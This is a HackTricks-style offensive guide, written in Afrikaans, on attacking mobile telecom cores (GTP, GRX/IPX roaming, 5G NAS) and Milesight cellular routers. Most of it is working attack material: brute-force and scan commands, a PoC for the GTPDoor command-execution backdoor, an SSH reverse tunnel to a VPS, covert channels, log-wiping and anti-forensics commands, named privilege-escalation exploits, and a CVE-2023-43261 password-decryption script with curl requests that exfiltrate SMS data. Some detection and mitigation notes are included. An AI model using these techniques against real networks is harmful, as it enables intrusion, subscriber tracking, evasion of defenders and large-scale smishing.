Telecom Netwerkuitbuiting (GTP / Roaming Omgewings)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Note
Mobiele kernprotokolle (GPRS Tunnelling Protocol â GTP) beweeg dikwels deur semi-betroubare GRX/IPX roaming-ruggraatwerke. Omdat hulle oor gewone UDP loop met byna geen verifikasie nie, kan enige voet aan die grond binne ân telekom-perimeter gewoonlik direk kernsignaleringsvlakke bereik. Die volgende notas versamel offensiewe truuks wat in die veld waargeneem is teen SGSN/GGSN, PGW/SGW en ander EPC-node.
1. Recon & Initial Access
1.1 Default OSS / NE Accounts
ân Verbazingwekkend groot aantal verskaffer-netwerkelemente word met hardgekodeerde SSH/Telnet-gebruikers gelewer, soos root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, ⊠ân Toegewyde woordlys verhoog die brute-force-sukses dramaties:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
As die toestel slegs ân management VRF blootstel, pivot eers via ân jump host (sien afdeling «SGSN Emu Tunnel» hieronder).
1.2 Host Discovery inside GRX/IPX
Die meeste GRX-operateurs laat steeds ICMP echo oor die backbone toe. Kombineer masscan met die ingeboude gtpv1 UDP-probes om vinnig GTP-C listeners in kaart te bring:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Enumerating Subscribers â cordscan
Die volgende Go-hulpmiddel vervaardig GTP-C Create PDP Context Request pakkette en registreer die antwoorde. Elke antwoord openbaar die huidige SGSN / MME wat die opgevraagde IMSI bedien en, soms, die intekenaar se besoekte PLMN.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Sleutel-vlae:
--imsiTeikenabonnee IMSI--operTuis / HNI (MCC+MNC)-wSkryf rou pakkette na pcap
Belangrike konstantes in die binĂȘre kan gepatch word om skanderings te verbreed:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Kode-uitvoering oor GTP â GTPDoor
GTPDoor is ân klein ELF-diens wat bind aan UDP 2123 en parseer elke inkomende GTP-C-pakket. Wanneer die payload begin met ân pre-shared tag, word die oorblyfsel ontsleutel (AES-128-CBC) en uitgevoer via /bin/sh -c. Die stdout/stderr word binne Echo Response-boodskappe geĂ«ksfiltreer, sodat geen uitgaande sessie ooit geskep word nie.
Minimale PoC-pakket (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Opsporing:
- enige host wat ongebalanseerde Echo Requests na SGSN IPs stuur
- GTP version-flag op 1 gestel terwyl message type = 1 (Echo) â afwyking van die spesifikasie
4. Pivoting deur die kern
4.1 sgsnemu + SOCKS5
OsmoGGSN bevat ân SGSN-emulator wat in staat is om ân PDP context na ân werklike GGSN/PGW te vestig. Sodra dit opgestel is, ontvang Linux ân nuwe tun0-koppelvlak wat vanaf die roaming peer bereikbaar is.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
Met behoorlike firewall hair-pinning omseil hierdie tunnel signalling-only VLANs en beland jy direk in die data plane.
4.2 SSH Reverse Tunnel over Port 53
DNS is byna altyd oop in roaming-infrastrukture. Maak ân interne SSH-diens op jou VPS beskikbaar wat op :53 luister, en keer later van die huis af terug:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Kontroleer dat GatewayPorts yes op die VPS geaktiveer is.
5. Geheime Kanale
| Kanaal | Transport | Dekodering | Aantekeninge |
|---|---|---|---|
ICMP â EchoBackdoor | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | pure passive listener, no outbound traffic |
DNS â NoDepDNS | UDP 53 | XOR (key = funnyAndHappy) encoded in A-record octets | kyk uit vir *.nodep subdomein |
GTP â GTPDoor | UDP 2123 | AES-128-CBC blob in private IE | meng met legitieme GTP-C chatter |
Alle implants implementeer watchdogs wat hul binaries timestomp en re-spawn indien crashed.
6. Defense Evasion Cheatsheet
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Privilege Escalation op Legacy NE
# DirtyCow â CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit â CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit â CVE-2021-3156
python3 exploit_userspec.py
Wenk vir opruiming:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Gereedskap
cordscan,GTPDoor,EchoBackdoor,NoDepDNSâ custom tooling described in previous sections.FScan: intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)Responder: LLMNR/NBT-NS rogue WPADMicrosocks+ProxyChains: lightweight SOCKS5 pivotingFRP(â„0.37) : NAT traversal / asset bridging
9. 5G NAS Registration Aanvalle: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
Die 5G registrasieprosedure loop oor NAS (Non-Access Stratum) bo-op NGAP. Tot NAS-sekuriteit geaktiveer is deur Security Mode Command/Complete, is aanvanklike boodskappe nie geverifieer of gekodeer nie. Hierdie pre-sekuriteit venster maak verskeie aanvalspaaie moontlik as jy N2-verkeer kan observeer of manipuleer (bv. on-path binne die core, rogue gNB, of testbed).
Registration flow (simplified):
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
- PDU Session Establishment: IP/QoS setup.
Lab opstel wenke (non-RF):
- Core: Open5GS default deployment is voldoende om flows te reproduceer.
- UE: simulator of test UE; decode met Wireshark.
- Aktiewe gereedskap: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Nuttige display filters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Verwagting: UE/USIM moet SUCI stuur (SUPI encrypted met die home-network public key). Om ân plaintext SUPI/IMSI in die Registration Request te vind dui op ân privaatheidsdefek wat volgehoue subscriber tracking moontlik maak.
Hoe om te toets:
- Capture die eerste NAS boodskap in InitialUEMessage en inspekteer die Mobile Identity IE.
- Wireshark vinnige kontrole:
- Dit moet decodeer as SUCI, nie IMSI nie.
- Filtervoorbeelde:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.sucimoet bestaan; afwesigheid plus teenwoordigheid vanimsidui op blootstelling.
Wat om te versamel:
- MCC/MNC/MSIN as dit blootgestel is; log per-UE en spoor oor tyd/liggings.
Mitigasie:
- Forceer SUCI-only UEs/USIMs; waarschuw op enige IMSI/SUPI in aanvanklike NAS.
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Agtergrond:
- UE adverteer ondersteunde EEA (enkripsie) en EIA (integriteit) in die UE Security Capability IE van die Registration Request.
- Algemene mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 is null-algoritmes.
Probleem:
- Omdat die Registration Request nie integriteitsbeskerm is nie, kan ân on-path aanvaller capability bits uitvee om later tydens Security Mode Command die keuse van EEA0/EIA0 af te dwing. Sommige stacks laat verkeerdelik null-algoritmes toe buite noodsaaklike dienste.
Aanvalsstappe:
- Intersep InitialUEMessage en verander die NAS UE Security Capability om slegs EEA0/EIA0 te adverteer.
- Met Sni5Gect, hook die NAS boodskap en patch die capability bits voordat dit doorgestuur word.
- Kyk of AMF null ciphers/integrity aanvaar en Security Mode voltooi met EEA0/EIA0.
Verifikasie/sigbaarheid:
- In Wireshark, bevestig die gekose algoritmes nĂĄ Security Mode Command/Complete.
- Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Mitigeringe (verpligtend):
- Konfigureer AMF/policy om EEA0/EIA0 te weier, behalwe waar dit uitdruklik vereis word (bv. noodoproepe).
- Beveel aan om minstens EEA2/EIA2 af te dwing; registreer en stuur waarskuwing oor enige NAS security context wat null algorithms onderhandel.
9.3 Herhaling van aanvanklike Registration Request (pre-security NAS)
Aangesien aanvanklike NAS integriteit en varsheid ontbreek, kan vasgevangde InitialUEMessage+Registration Request na die AMF herhaal word.
PoC-reël vir 5GReplay om ooreenstemmende replays deur te stuur:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
Wat om waar te neem:
- Of AMF die replay aanvaar en voortgaan na Outentisering; gebrek aan validering van nuutheid/konteks dui op blootstelling.
Mitigations:
- Dwing replay protection/context binding op die AMF af; pas rate-limiting toe en korreleer per-GNB/UE.
9.4 Tooling pointers (reproducible)
- Open5GS: start ân AMF/SMF/UPF om die core te emuleer; observe N2 (NGAP) en NAS.
- Wireshark: verifieer decodes van NGAP/NAS; pas die bogenoemde filters toe om Registration te isoleer.
- 5GReplay: vang ân Registration, en replay dan spesifieke NGAP + NAS-boodskappe soos per die reĂ«l.
- Sni5Gect: live sniff/modify/inject NAS control-plane om null-algoritmes af te dwing of authentication-sekwensies te versteur.
9.5 Defensive checklist
- Deurlopend inspekteer Registration Request vir plaintext SUPI/IMSI; blokkeer oortredende toestelle/USIMs.
- Verwerp EEA0/EIA0 behalwe vir noukeurig gedefinieerde noodprosedures; vereis ten minste EEA2/EIA2.
- Detecteer rogue of verkeerd gekonfigureerde infrastruktuur: ongemagtigde gNB/AMF, onverwachte N2 peers.
- Waarsku oor NAS-sekuriteitsmodusse wat tot null-algoritmes lei of gereelde replays van InitialUEMessage.
10. IndustriĂ«le SellulĂȘre Routers â Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Herwinning van kredensiale (CVE-2023-43261)
Deur blootgestelde web APIs van industriĂ«le sellulĂȘre routers te misbruik, word stil-skaalse smishing met draer-afkoms moontlik. Milesight UR-series routers openbaar ân JSON-RPCâstyl endpoint by /cgi. Wanneer verkeerd gekonfigureer, kan die API sonder outentisering bevra word om SMS inbox/outbox te lys en, in sommige implementasies, om SMS te stuur.
Tipiese versoeke sonder outentisering (dieselfde struktuur vir inbox/outbox):
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
Antwoorde sluit velde in soos timestamp, content, phone_number (E.164), en status (success of failed). Herhaalde failed-stuurings na dieselfde nommer is dikwels aanvallers se âcapability checksâ om te valideer dat ân router/SIMâ kan lewer voordat hulle begin blasting.
Voorbeeld curl om SMS metadata te exfiltrate:
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
Aantekeninge oor auth-artefakte:
- Sommige verkeer mag ân auth cookie insluit, maar ân groot deel van blootgestelde toestelle reageer sonder enige authentication op
query_inbox/query_outboxwanneer die management interface Internet-facing is. - In omgewings wat auth vereis, herstel voorheen leaked credentials (sien hieronder) weer toegang.
Credential recovery path â CVE-2023-43261:
- Geaffekteerde families: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Issue: web-served logs (e.g.,
httpd.log) are reachable unauthenticated under/lang/log/and contain admin login events with the password encrypted using a hardcoded AES key/IV present in client-side JavaScript. - Praktiese toegang en decrypt:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
Minimale Python om leaked passwords te decrypt (AES-128-CBC, hardcoded key/IV):
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
Jag- en opsporingsidees (netwerk):
- Waarsku op ongeauthentiseerde
POST /cgiwaarvan die JSON-liggaambase/functionbevat wat opquery_inboxofquery_outboxgestel is. - Volg herhaalde
POST /cgi-uitbarstings gevolg deurstatus":"failed"inskrywings oor baie unieke nommers vanaf dieselfde bron-IP (vermoëtoetsing). - Maak inventaris van Internet-blootgestelde Milesight routers; beperk bestuur tot VPN; skakel SMS-funksies uit tensy nodig; opgradeer na ℠v35.3.0.7; roteer credentials en hersien SMS-logs vir onbekende versendings.
Shodan/OSINT pivots (voorbeelde wat in die veld gesien is):
http.html:"rt_title"matches Milesight router panels.- Google dorking for exposed logs:
"/lang/log/system" ext:log.
Operasionele impak: die gebruik van legitieme carrier SIMs binne routers gee baie hoë SMS-aflewerbaarheid en -geloofwaardigheid vir phishing, terwyl inbox/outbox blootstelling leaks sensitiewe metadata op skaal.
Opsporingsidees
- Enige toestel anders as ân SGSN/GGSN wat Create PDP Context Requests vestig.
- Nie-standaard poorte (53, 80, 443) wat SSH-handshakes ontvang vanaf interne IPs.
- Gereelde Echo Requests sonder ooreenstemmende Echo Responses â kan GTPDoor-bakens aandui.
- Hoë tempo ICMP echo-reply verkeer met groot, nie-nul identifier/sequence velde.
- 5G: InitialUEMessage wat NAS Registration Requests dra wat herhaal word vanaf identiese eindpunte (replay signal).
- 5G: NAS Security Mode wat EEA0/EIA0 onderhandel buite noodgevalkontekste.
References
- Palo Alto Unit42 â Infiltration of Global Telecom Networks
- 3GPP TS 29.060 â GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 â GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 â Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 â Security architecture and procedures for 5G System
- Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
- CVE-2023-43261 â NVD
- CVE-2023-43261 PoC (win3zz)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

